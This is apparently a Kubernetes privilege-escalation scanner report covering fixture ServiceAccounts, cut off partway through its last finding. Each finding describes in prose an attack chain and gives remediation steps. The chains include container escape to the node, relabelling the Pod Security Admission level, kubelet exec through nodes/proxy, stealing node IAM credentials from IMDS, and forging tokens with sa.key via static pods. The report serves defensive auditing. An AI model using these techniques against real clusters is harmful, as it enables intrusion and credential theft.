1. ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled → / via pod_host_escape (hostNetwork): runs in pod psa-unlabeled-fixtures/psa-unlabeled-app-f5ff8974-nmmrs with hostNetwork
2. ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled.
  2. Acting as ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled, the attacker schedules a pod with host-level access (privileged: true, hostPath: /, hostPID, or hostNetwork) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.
  3. Acting as ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled
    Permission granted hostNetwork
    Gives the attacker runs in pod psa-unlabeled-fixtures/psa-unlabeled-app-f5ff8974-nmmrs with hostNetwork
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission hostNetwork that enables the first hop (ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission hostNetwork that enables the first hop (ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/psaflip-fixtures/psaflip-flipper Cluster 6.2
ServiceAccount/psaflip-fixtures/psaflip-flipper can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/psaflip-fixtures/psaflip-flipper → token_mint
Category: Privilege Escalation Subject: ServiceAccount/psaflip-fixtures/psaflip-flipper

Subject ServiceAccount/psaflip-fixtures/psaflip-flipper has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/psaflip-fixtures/psaflip-flipper → / via namespace_psa_label_flip (patch namespaces + create pods (psaflip-fixtures)): can relabel namespace psaflip-fixtures to pod-security enforce=privileged, then run a privileged pod there and escape to the node
2. ServiceAccount/psaflip-fixtures/psaflip-flipper → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/psaflip-fixtures/psaflip-flipper chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/psaflip-fixtures/psaflip-flipper.
  2. Acting as ServiceAccount/psaflip-fixtures/psaflip-flipper, the attacker rewrites the pod-security.kubernetes.io/enforce label on a namespace that Pod Security Admission currently locks down (patch namespaces + create pods (psaflip-fixtures)), setting it to privileged. PSA reads its enforcement level from that label on every admission and nothing in-tree protects the label, so the next pod the attacker creates there, privileged or host-mounting, is admitted. The write on the Namespace object is authorized like any other RBAC request: a cluster-scoped grant reaches every namespace, and a namespaced Role granting patch namespaces reaches its own namespace, because the API server treats /api/v1/namespaces/<ns> as a request in <ns>.
  3. Acting as ServiceAccount/psaflip-fixtures/psaflip-flipper, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Pod Security Admission label flip namespace_psa_label_flip

    Pod Security Admission decides how strictly to vet pods in a namespace by reading the pod-security.kubernetes.io/enforce label on the Namespace object at admission time. That label is ordinary metadata: nothing in Kubernetes protects it, so anyone who can update or patch the namespace can set it to privileged and switch the lockdown off.

    Alone the label write changes nothing. Paired with a way to create pods in that namespace, it lets the attacker land a privileged or host-mounting pod in a namespace the cluster's PSA posture reports as restricted, and escape to the node from there. The write grant is outside the built-in admin/edit roles, and a namespaced Role can carry it for its own namespace, because the API server treats /api/v1/namespaces/<ns> as a request inside <ns>.

    From ServiceAccount/psaflip-fixtures/psaflip-flipper
    Permission granted patch namespaces + create pods (psaflip-fixtures)
    Gives the attacker can relabel namespace psaflip-fixtures to pod-security enforce=privileged, then run a privileged pod there and escape to the node
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/psaflip-fixtures/psaflip-flipper
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission patch namespaces + create pods (psaflip-fixtures) that enables the first hop (ServiceAccount/psaflip-fixtures/psaflip-flipper → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission patch namespaces + create pods (psaflip-fixtures) that enables the first hop (ServiceAccount/psaflip-fixtures/psaflip-flipper → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/rbac-fixtures/sa-nodes-proxy Cluster 6.2
ServiceAccount/rbac-fixtures/sa-nodes-proxy can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-nodes-proxy → token_mint
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-nodes-proxy

Subject ServiceAccount/rbac-fixtures/sa-nodes-proxy has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/rbac-fixtures/sa-nodes-proxy → / via nodes_proxy (get nodes/proxy): can reach kubelet API via nodes/proxy WebSocket verb confusion
2. ServiceAccount/rbac-fixtures/sa-nodes-proxy → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/rbac-fixtures/sa-nodes-proxy chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-nodes-proxy.
  2. Acting as ServiceAccount/rbac-fixtures/sa-nodes-proxy, the attacker uses nodes/proxy (get nodes/proxy) to forward requests directly to the kubelet on each node. Combined with the kubelet's /exec endpoint this becomes a primitive for running commands inside any pod the kubelet can see.
  3. Acting as ServiceAccount/rbac-fixtures/sa-nodes-proxy, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 nodes/proxy → kubelet API nodes_proxy

    The nodes/proxy subresource forwards requests to the kubelet on each node. Combined with kubelet's /exec endpoint and a WebSocket verb mismatch, this becomes a primitive for executing commands inside any pod the kubelet can reach.

    From ServiceAccount/rbac-fixtures/sa-nodes-proxy
    Permission granted get nodes/proxy
    Gives the attacker can reach kubelet API via nodes/proxy WebSocket verb confusion
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/rbac-fixtures/sa-nodes-proxy
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission get nodes/proxy that enables the first hop (ServiceAccount/rbac-fixtures/sa-nodes-proxy → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission get nodes/proxy that enables the first hop (ServiceAccount/rbac-fixtures/sa-nodes-proxy → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/vulnerable/default Cluster 6.2
ServiceAccount/vulnerable/default can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/vulnerable/default → token_mint
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/default

Subject ServiceAccount/vulnerable/default has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/vulnerable/default → / via pod_host_escape (hostPID,hostIPC): runs in pod vulnerable/host-ns-app-7cb46d5788-xbc8b with hostPID, hostIPC
2. ServiceAccount/vulnerable/default → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/vulnerable/default chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/vulnerable/default.
  2. Acting as ServiceAccount/vulnerable/default, the attacker schedules a pod with host-level access (privileged: true, hostPath: /, hostPID, or hostNetwork) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.
  3. Acting as ServiceAccount/vulnerable/default, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/vulnerable/default
    Permission granted hostPID,hostIPC
    Gives the attacker runs in pod vulnerable/host-ns-app-7cb46d5788-xbc8b with hostPID, hostIPC
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/vulnerable/default
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission hostPID,hostIPC that enables the first hop (ServiceAccount/vulnerable/default → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission hostPID,hostIPC that enables the first hop (ServiceAccount/vulnerable/default → /).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/foothold-ops/foothold-execer Cluster 5.8
ServiceAccount/foothold-ops/foothold-execer can reach token_mint in 3 hop(s)
Scope · Cluster Source ServiceAccount/foothold-ops/foothold-execer → token_mint
Category: Privilege Escalation Subject: ServiceAccount/foothold-ops/foothold-execer

Subject ServiceAccount/foothold-ops/foothold-execer has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/foothold-ops/foothold-execer → ServiceAccount/foothold-fixtures/foothold-priv via pod_exec (create pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-fixtures/foothold-priv
2. ServiceAccount/foothold-fixtures/foothold-priv → / via pod_host_escape (privileged): runs in pod foothold-fixtures/foothold-priv-app-568f779db7-cmqmb with privileged
3. ServiceAccount/foothold-fixtures/foothold-priv → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/foothold-ops/foothold-execer chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/foothold-ops/foothold-execer.
  2. Acting as ServiceAccount/foothold-ops/foothold-execer, the attacker uses pods/exec (create pods/exec|pods/attach) to open a shell inside ServiceAccount/foothold-fixtures/foothold-priv and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/foothold-fixtures/foothold-priv, the attacker schedules a pod with host-level access (privileged: true, hostPath: /, hostPID, or hostNetwork) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.
  4. Acting as ServiceAccount/foothold-fixtures/foothold-priv, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  5. Final step: attacker reaches token_mint.
  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/foothold-ops/foothold-execer → ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted create pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-fixtures/foothold-priv
  2. Step 2 of 3 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted privileged
    Gives the attacker runs in pod foothold-fixtures/foothold-priv-app-568f779db7-cmqmb with privileged
  3. Step 3 of 3 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission create pods/exec|pods/attach that enables the first hop (ServiceAccount/foothold-ops/foothold-execer → ServiceAccount/foothold-fixtures/foothold-priv).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create pods/exec|pods/attach that enables the first hop (ServiceAccount/foothold-ops/foothold-execer → ServiceAccount/foothold-fixtures/foothold-priv).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/cloud-eks-test/default Cluster 5.7
ServiceAccount/cloud-eks-test/default can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/cloud-eks-test/default → token_mint
Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-test/default

Subject ServiceAccount/cloud-eks-test/default has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/cloud-eks-test/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS
2. ServiceAccount/cloud-eks-test/default → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/cloud-eks-test/default chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/cloud-eks-test/default.
  2. Acting as ServiceAccount/cloud-eks-test/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/cloud-eks-test/default, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/cloud-eks-test/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/cloud-eks-test/default
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/cloud-eks-test/default → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/cloud-eks-test/default → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/containersec-fixtures/default Cluster 5.7
ServiceAccount/containersec-fixtures/default can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/containersec-fixtures/default → token_mint
Category: Privilege Escalation Subject: ServiceAccount/containersec-fixtures/default

Subject ServiceAccount/containersec-fixtures/default has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/containersec-fixtures/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod containersec-fixtures/containersec-image-64d6ddbdbd-zxw7f falls back to node IAM role via IMDS
2. ServiceAccount/containersec-fixtures/default → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/containersec-fixtures/default chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/containersec-fixtures/default.
  2. Acting as ServiceAccount/containersec-fixtures/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod containersec-fixtures/containersec-image-64d6ddbdbd-zxw7f falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/containersec-fixtures/default, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/containersec-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod containersec-fixtures/containersec-image-64d6ddbdbd-zxw7f falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/containersec-fixtures/default
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/containersec-fixtures/default → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/containersec-fixtures/default → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/csr-fixtures/sa-csr-mint Cluster 5.7
ServiceAccount/csr-fixtures/sa-csr-mint can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/csr-fixtures/sa-csr-mint → token_mint
Category: Privilege Escalation Subject: ServiceAccount/csr-fixtures/sa-csr-mint

Subject ServiceAccount/csr-fixtures/sa-csr-mint has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/csr-fixtures/sa-csr-mint → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod csr-fixtures/csr-mint-app-7b46f9dc-lkbq6 falls back to node IAM role via IMDS
2. ServiceAccount/csr-fixtures/sa-csr-mint → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/csr-fixtures/sa-csr-mint chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/csr-fixtures/sa-csr-mint.
  2. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod csr-fixtures/csr-mint-app-7b46f9dc-lkbq6 falls back to node IAM role via IMDS.
  3. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker uses the static_pod_admission_bypass technique via write access to /etc/kubernetes/manifests, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod csr-fixtures/csr-mint-app-7b46f9dc-lkbq6 falls back to node IAM role via IMDS
  2. Step 2 of 2 Static pod and SA signing-key abuse static_pod_admission_bypass

    The kubelet on a control-plane node runs any manifest dropped into /etc/kubernetes/manifests as a static pod. Static pods never traverse the API server, so no admission webhook, Pod Security Admission label, or policy engine can see or block them.

    The same node holds /etc/kubernetes/pki/sa.key, the key that signs every ServiceAccount token in the cluster. An attacker with it forges a valid token for any ServiceAccount without touching the API at all.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted write access to /etc/kubernetes/manifests
    Gives the attacker can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control
Remediation
Break the chain at the weakest hop: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/csr-fixtures/sa-csr-mint → /).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/csr-fixtures/sa-csr-mint → /).
  3. Re-run the scanner to confirm the path no longer resolves.
MEDIUM ServiceAccount/csr-fixtures/sa-csr-sign Cluster 5.7
ServiceAccount/csr-fixtures/sa-csr-sign can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/csr-fixtures/sa-csr-sign → token_mint
Category: Privilege Escalation Subject: ServiceAccount/csr-fixtures/sa-csr-sign

Subject ServiceAccount/csr-fixtures/sa-csr-sign has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/csr-fixtures/sa-csr-sign → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod csr-fixtures/csr-sign-app-5db6bf86b4-p7xd8 falls back to node IAM role via IMDS
2. ServiceAccount/csr-fixtures/sa-csr-sign → / via static_pod_admission_bypass (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control

Impact Compromise of ServiceAccount/csr-fixtures/sa-csr-sign chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

